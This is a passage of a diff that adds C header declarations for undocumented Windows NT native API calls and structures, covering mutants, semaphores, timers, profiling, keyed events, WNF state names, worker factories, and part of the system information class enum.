+{ + CLIENT_ID ClientId; +} MUTANT_OWNER_INFORMATION, *PMUTANT_OWNER_INFORMATION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +// Semaphore + +#ifndef SEMAPHORE_QUERY_STATE +#define SEMAPHORE_QUERY_STATE 0x0001 +#endif + +typedef enum _SEMAPHORE_INFORMATION_CLASS +{ + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION +{ + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_opt_ PLONG PreviousCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +// Timer + +typedef enum _TIMER_INFORMATION_CLASS +{ + TimerBasicInformation +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION +{ + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; + +typedef VOID (NTAPI *PTIMER_APC_ROUTINE)( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_SET_INFORMATION_CLASS +{ + TimerSetCoalescableTimer, + MaxTimerInfoClass +} TIMER_SET_INFORMATION_CLASS; + +#if (PHNT_VERSION >= PHNT_WIN7) +struct _COUNTED_REASON_CONTEXT; + +typedef struct _TIMER_SET_COALESCABLE_TIMER_INFO +{ + _In_ LARGE_INTEGER DueTime; + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine; + _In_opt_ PVOID TimerContext; + _In_opt_ struct _COUNTED_REASON_CONTEXT *WakeContext; + _In_opt_ ULONG Period; + _In_ ULONG TolerableDelay; + _Out_opt_ PBOOLEAN PreviousState; +} TIMER_SET_COALESCABLE_TIMER_INFO, *PTIMER_SET_COALESCABLE_TIMER_INFO; +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimerEx( + _In_ HANDLE TimerHandle, + _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, + _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation, + _In_ ULONG TimerSetInformationLength + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelTimer( + _In_ HANDLE TimerHandle, + _Out_opt_ PBOOLEAN CurrentState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +#if (PHNT_VERSION >= PHNT_WIN8) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateIRTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIRTimer( + _In_ HANDLE TimerHandle, + _In_opt_ PLARGE_INTEGER DueTime + ); + +#endif + +typedef struct _T2_SET_PARAMETERS_V0 +{ + ULONG Version; + ULONG Reserved; + LONGLONG NoWakeTolerance; +} T2_SET_PARAMETERS, *PT2_SET_PARAMETERS; + +typedef PVOID PT2_CANCEL_PARAMETERS; + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTimer2( + _Out_ PHANDLE TimerHandle, + _In_opt_ PVOID Reserved1, + _In_opt_ PVOID Reserved2, + _In_ ULONG Attributes, + _In_ ACCESS_MASK DesiredAccess + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimer2( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PLARGE_INTEGER Period, + _In_ PT2_SET_PARAMETERS Parameters + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelTimer2( + _In_ HANDLE TimerHandle, + _In_ PT2_CANCEL_PARAMETERS Parameters + ); + +#endif + +// Profile + +#define PROFILE_CONTROL 0x0001 +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProfile( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProfileEx( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ USHORT GroupCount, + _In_reads_(GroupCount) PGROUP_AFFINITY GroupAffinity + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtStartProfile( + _In_ HANDLE ProfileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtStopProfile( + _In_ HANDLE ProfileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryIntervalProfile( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIntervalProfile( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source + ); + +// Keyed Event + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS \ + (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +// UMS + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUmsThreadYield( + _In_ PVOID SchedulerParam + ); +#endif + +// WNF + +// begin_private + +typedef struct _WNF_STATE_NAME +{ + ULONG Data[2]; +} WNF_STATE_NAME, *PWNF_STATE_NAME; + +typedef const WNF_STATE_NAME *PCWNF_STATE_NAME; + +typedef enum _WNF_STATE_NAME_LIFETIME +{ + WnfWellKnownStateName, + WnfPermanentStateName, + WnfPersistentStateName, + WnfTemporaryStateName +} WNF_STATE_NAME_LIFETIME; + +typedef enum _WNF_STATE_NAME_INFORMATION +{ + WnfInfoStateNameExist, + WnfInfoSubscribersPresent, + WnfInfoIsQuiescent +} WNF_STATE_NAME_INFORMATION; + +typedef enum _WNF_DATA_SCOPE +{ + WnfDataScopeSystem, + WnfDataScopeSession, + WnfDataScopeUser, + WnfDataScopeProcess, + WnfDataScopeMachine // REDSTONE3 +} WNF_DATA_SCOPE; + +typedef struct _WNF_TYPE_ID +{ + GUID TypeId; +} WNF_TYPE_ID, *PWNF_TYPE_ID; + +typedef const WNF_TYPE_ID *PCWNF_TYPE_ID; + +// rev +typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP; + +typedef struct _WNF_DELIVERY_DESCRIPTOR +{ + ULONGLONG SubscriptionId; + WNF_STATE_NAME StateName; + WNF_CHANGE_STAMP ChangeStamp; + ULONG StateDataSize; + ULONG EventMask; + WNF_TYPE_ID TypeId; + ULONG StateDataOffset; +} WNF_DELIVERY_DESCRIPTOR, *PWNF_DELIVERY_DESCRIPTOR; + +// end_private + +#if (PHNT_VERSION >= PHNT_WIN8) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWnfStateName( + _Out_ PWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_LIFETIME NameLifetime, + _In_ WNF_DATA_SCOPE DataScope, + _In_ BOOLEAN PersistData, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_ ULONG MaximumStateSize, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteWnfStateName( + _In_ PCWNF_STATE_NAME StateName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUpdateWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_reads_bytes_opt_(Length) const VOID *Buffer, + _In_opt_ ULONG Length, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID *ExplicitScope, + _In_ WNF_CHANGE_STAMP MatchingChangeStamp, + _In_ LOGICAL CheckStamp + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ const VOID *ExplicitScope + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID *ExplicitScope, + _Out_ PWNF_CHANGE_STAMP ChangeStamp, + _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, + _Inout_ PULONG BufferSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryWnfStateNameInformation( + _In_ PCWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_INFORMATION NameInfoClass, + _In_opt_ const VOID *ExplicitScope, + _Out_writes_bytes_(InfoBufferSize) PVOID InfoBuffer, + _In_ ULONG InfoBufferSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ WNF_CHANGE_STAMP ChangeStamp, + _In_ ULONG EventMask, + _Out_opt_ PULONG64 SubscriptionId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnsubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName + ); + +#endif + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetCompleteWnfStateSubscription( + _In_opt_ PWNF_STATE_NAME OldDescriptorStateName, + _In_opt_ ULONG64 *OldSubscriptionId, + _In_opt_ ULONG OldDescriptorEventMask, + _In_opt_ ULONG OldDescriptorStatus, + _Out_writes_bytes_(DescriptorSize) PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor, + _In_ ULONG DescriptorSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetWnfProcessNotificationEvent( + _In_ HANDLE NotificationEvent + ); + +#endif + +// Worker factory + +// begin_rev + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define WORKER_FACTORY_ALL_ACCESS ( \ + STANDARD_RIGHTS_REQUIRED | \ + WORKER_FACTORY_RELEASE_WORKER | \ + WORKER_FACTORY_WAIT | \ + WORKER_FACTORY_SET_INFORMATION | \ + WORKER_FACTORY_QUERY_INFORMATION | \ + WORKER_FACTORY_READY_WORKER | \ + WORKER_FACTORY_SHUTDOWN \ + ) + +// end_rev + +// begin_private + +typedef enum _WORKERFACTORYINFOCLASS +{ + WorkerFactoryTimeout, // q; s: LARGE_INTEGER + WorkerFactoryRetryTimeout, // q; s: LARGE_INTEGER + WorkerFactoryIdleTimeout, // q; s: LARGE_INTEGER + WorkerFactoryBindingCount, + WorkerFactoryThreadMinimum, // q; s: ULONG + WorkerFactoryThreadMaximum, // q; s: ULONG + WorkerFactoryPaused, // ULONG or BOOLEAN + WorkerFactoryBasicInformation, // WORKER_FACTORY_BASIC_INFORMATION + WorkerFactoryAdjustThreadGoal, + WorkerFactoryCallbackType, + WorkerFactoryStackInformation, // 10 + WorkerFactoryThreadBasePriority, + WorkerFactoryTimeoutWaiters, // since THRESHOLD + WorkerFactoryFlags, + WorkerFactoryThreadSoftMaximum, + WorkerFactoryThreadCpuSets, // since REDSTONE5 + MaxWorkerFactoryInfoClass +} WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS; + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION +{ + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + ULONG ReleaseCount; + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + HANDLE ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION; + +// end_private + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtShutdownWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Inout_ volatile LONG *PendingWorkerCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseWorkerFactoryWorker( + _In_ HANDLE WorkerFactoryHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWorkerFactoryWorkerReady( + _In_ HANDLE WorkerFactoryHandle + ); + +struct _FILE_IO_COMPLETION_INFORMATION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ struct _FILE_IO_COMPLETION_INFORMATION *MiniPacket + ); + +#endif + +// Time + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemTime( + _Out_ PLARGE_INTEGER SystemTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemTime( + _In_opt_ PLARGE_INTEGER SystemTime, + _Out_opt_ PLARGE_INTEGER PreviousTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryTimerResolution( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimerResolution( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime + ); + +// Performance Counter + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_opt_ PLARGE_INTEGER PerformanceFrequency + ); + +// LUIDs + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId( + _Out_ PLUID Luid + ); + +// UUIDs + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetUuidSeed( + _In_ PCHAR Seed + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUuids( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed + ); + +// System Information + +#endif // (PHNT_MODE != PHNT_MODE_KERNEL) + +// rev +// private +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION + SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION + SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION + SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION + SystemPathInformation, // not implemented + SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION + SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION + SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION + SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION + SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION + SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10 + SystemModuleInformation, // q: RTL_PROCESS_MODULES + SystemLocksInformation, // q: RTL_PROCESS_LOCKS + SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES + SystemPagedPoolInformation, // not implemented + SystemNonPagedPoolInformation, // not implemented + SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION + SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION + SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION + SystemVdmInstemulInformation, // q + SystemVdmBopInformation, // not implemented // 20 + SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) + SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION + SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION + SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) + SystemFullMemoryInformation, // not implemented + SystemLoadGdiDriverInformation, // s (kernel-mode only) + SystemUnloadGdiDriverInformation, // s (kernel-mode only) + SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) + SystemSummaryMemoryInformation, // not implemented + SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30 + SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS) + SystemObsolete0, // not implemented + SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION + SystemCrashDumpStateInformation, // s (requires SeDebugPrivilege) + SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION + SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION + SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) + SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only + SystemPrioritySeperation, // s (requires SeTcbPrivilege) + SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40 + SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) + SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION + SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION + SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION + SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION + SystemTimeSlipNotification, // s (requires SeSystemtimePrivilege) + SystemSessionCreate, // not implemented + SystemSessionDetach, // not implemented + SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION) + SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50 + SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) + SystemVerifierThunkExtend, // s (kernel-mode only) + SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION + SystemLoadGdiDriverInSystemSpace, // s (kernel-mode only) (same as SystemLoadGdiDriverInformation) + SystemNumaProcessorMap, // q + SystemPrefetcherInformation, // q: PREFETCHER_INFORMATION; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation + SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION + SystemRecommendedSharedDataAlignment, // q + SystemComPlusPackage, // q; s + SystemNumaAvailableMemory, // 60 + SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION + SystemEmulationBasicInformation, + SystemEmulationProcessorInformation, + SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX + SystemLostDelayedWriteInformation, // q: ULONG + SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION + SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION + SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION + SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION + SystemObjectSecurityMode, // q: ULONG // 70 + SystemWatchdogTimerHandler, // s (kernel-mode only) + SystemWatchdogTimerInformation, // q (kernel-mode only); s (kernel-mode only) + SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION + SystemWow64SharedInformationObsolete, // not implemented + SystemRegisterFirmwareTableInformationHandler, // s (kernel-mode only) + SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION + SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX + SystemVerifierTriageInformation, // not implemented + SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation + SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80 + SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) + SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) + SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] + SystemVerifierCancellationInformation, // not implemented // name:wow64:whNT32QuerySystemVerifierCancellationInformation + SystemProcessorPowerInformationEx, // not implemented + SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation + SystemSpecialPoolInformation, // q; s (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 + SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION + SystemErrorPortInformation, // s (requires SeTcbPrivilege) + SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90 + SystemHypervisorInformation, // q; s (kernel-mode only) + SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX + SystemTimeZoneInformation, // s (requires SeTimeZonePrivilege) + SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) + SystemCoverageInformation, // q; s // name:wow64:whNT32QuerySystemCoverageInformation; ExpCovQueryInformation + SystemPrefetchPatchInformation, // not implemented + SystemVerifierFaultsInformation, // s (requires SeDebugPrivilege) + SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION + SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION + SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION // 100 + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, // q; s (requires SeTimeZonePrivilege) + SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation + SystemProcessorMicrocodeUpdateInformation, // s + SystemProcessorBrandString, // q // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 + SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation + SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // since WIN7 // KeQueryLogicalProcessorRelationship + SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] + SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION // SmQueryStoreInformation + SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110 + SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) + SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION + SystemCpuQuotaInformation, // q; s // PsQueryCpuQuotaInformation + SystemNativeBasicInformation, // not implemented + SystemSpare1, // not implemented + SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION + SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation + 